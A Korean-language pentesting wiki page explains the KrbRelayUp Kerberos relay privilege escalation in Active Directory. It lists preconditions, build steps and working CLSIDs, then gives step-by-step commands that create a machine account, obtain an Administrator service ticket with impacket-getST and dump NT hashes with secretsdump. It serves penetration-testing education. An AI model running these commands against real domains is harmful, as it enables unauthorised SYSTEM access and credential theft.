펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Install
  • Practice
  • References

Was this helpful?

Export as PDF
  1. 권한 상승
  2. Active Directory

KrbRelayUp

PreviousSilver TicketsNextGPO

Last updated 1 month ago

Was this helpful?

KrbRelayUP은 Kerberos 인증 과정에서 자격 증명을 변조하여 System 권한을 탈취하는 로컬 권한 상승 공격입니다. DC는 기본적으로 티켓을 요청하는 서비스 계정을 신뢰하기 때문에, 서비스 계정만 확보한 뒤 TGT 발급을 요청하면 DC는 발급 요청이 무결하다고 한단하여 높은 권한의 TGT를 발급합니다. 공격자는 장악한 계정에서 서비스 계정을 생성하여 계정에 RBCD(Resource-Based Constrained Delegation) 설정하여 권한을 위임합니다. 이후 S4U2Proxy를 통해 다른 서비스를 높은 권한으로 사용 가능합니다.

장악한 사용자의 계정을 대리하여 티켓 발급 요청을 하는 머신이 필요하기 때문에 이 공격에는 기본적으로 MAQ가 요구되기도 합니다. 만약 계정 정보를 알고있는 머신이 존재한다면 MAQ 조건은 생략될 수 있습니다. KrbRelayUp에는 몇가지 조건들이 요구됩니다.

  • 사용자 쉘

  • MAQ 값이 1 이상

  • LDAP 서명 요구 없음

LDAP 서명의 경우 특별히 설정을 해야하는 옵션이며 MAQ는 기본적으로 10으로 설정됩니다. 따라서 아무런 설정도 하지 않은 Active Directory에서는 KrbRelayUp에 취약합니다. 다만, 클라우드 환경의 Azure Active Directory의 경우 취약하지 않습니다.

Install

KrbRelayUp 파일은 Windows Local에서 실행 가능한 실행 파일만 배포되었기 때문에 별도로 빌드를 해줘야 합니다. 깃허브에서 파일을 다운로드 한 뒤, sln 파일을 Visual Studio에서 프로젝트 열기로 엽니다. 빌드에 필요한 버전은 .NET 4.8이므로 공식 홈페이지에서 맞는 버전을 다운해줘야 합니다.

빌드가 완료된 이후에는 KrbRelayUp-main\KrbRelayUp-main\KrbRelayUp\bin\Release 하위에 krbRelayUp.exe 파일이 생성됩니다.

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----      2024-12-06   오후 2:27        2609152 BouncyCastle.Crypto.dll
-a----      2024-12-06   오후 2:40        1112576 KrbRelayUp.exe
-a----      2024-12-06   오후 2:28            161 KrbRelayUp.exe.config
-a----      2024-12-06   오후 2:40        1216000 KrbRelayUp.pdb

Practice

대상이 KrbRelayUp에 취약한지 조건을 파악합니다.

# ldap 서명 확인
nxc ldap <Domain> -u <USER> -p <PASS> -M ldap-checker

# MAQ 값 확인
nxc ldap <Domain> -u <USER> -p <PASS> -M maq

조건이 충족되었다면 Windows에 KrbRelayUp 파일을 옮긴 뒤 아래를 순차적으로 실행합니다. 실행에 필요한 유효 CLSIDs 값은 아래 중 하나를 사용합니다.

  • c980e4c2-c178-4572-935d-a8a429884806

  • 90f18417-f0f1-484e-9d3c-59dceee5dbd8

  • 03ca98d6-ff5d-49b8-abc6-03dd84127020

  • d99e6e73-fc88-11d0-b498-00a0c90312f3

  • 42cbfaa7-a4a7-47bb-b422-bd10e9d02700

  • 000c101c-0000-0000-c000-000000000046

  • 1b48339c-d15e-45f3-ad55-a851cb66be6b

  • 49e6370b-ab71-40ab-92f4-b009593e4518

  • 50d185b9-fff3-4656-92c7-e4018da4361d

  • 3c6859ce-230b-48a4-be6c-932c0c202048

Windows GUI 환경을 획득할 경우 다음 명령을 실행했을 때, 아래와 같이 System 권한의 cmd 쉘이 획득되는 것이 확인됩니다.

하지만 CLI 환경에서는 이렇게 쉘을 GUI 환경으로 얻는 것이 힘들기 때문에 다른 바이너리 파일 경로를 지정하여 System 권한으로 백그라운드에서 실행할 수 있습니다.

PS C:\windows\temp> tasklist | findstr notepad.exe

PS C:\windows\temp> .\KrbRelayUp.exe full -Domain pentesting.wiki --CreateNewComputerAccount --ComputerName Test$ --ComputerPassword passw@rd123 -sc C:\Windows\notepad.exe
KrbRelayUp - Relaying you to SYSTEM

[+] Rewriting function table
...
[+] System service should be started in background

PS C:\windows\temp> tasklist | findstr notepad.exe
notepad.exe                   4852 Services                   0      9,420 K
# S4U2self를 위한 머신 계정 생성
.\KrbRelayUp.exe relay -Domain <Domain> -CreateNewComputerAccount -ComputerName krbrelayup$ -ComputerPassword Password123! --clsid d99e6e73-fc88-11d0-b498-00a0c90312f3

# TGS 생성 요청
./KrbRelayUp.exe spawn -m rbcd -d <Domain> -dc <FQDN> -cn krbrelayup$ -cp Password123!

# ST 획득
impacket-getST -spn cifs/<FQDN> -impersonate Administrator -dc-ip <IP> <Domain>/'krbrelayup':'Password123!'


:: 획득한 로컬 관리자 권한이 Domain Controller 일 때
# ST 환경변수 등록
export KRB5CCNAME=<CCACHE File>

# ST를 통한 NT Hash 덤핑
impacket-secretsdump -k <FQDN>

References

GitHub - Dec0ne/KrbRelayUp: KrbRelayUp - a universal no-fix local privilege escalation in windows domain environments where LDAP signing is not enforced (the default settings).GitHub
Visual Studio용 .NET SDKMicrosoft
Bruno - Vulnlabdaz
Microsoft shares mitigation for Windows KrbRelayUp LPE attacksBleepingComputer
From unprivileged user to system - KrbRelayUpwwwGeneral
Logo
Logo
Logo
Logo
Logo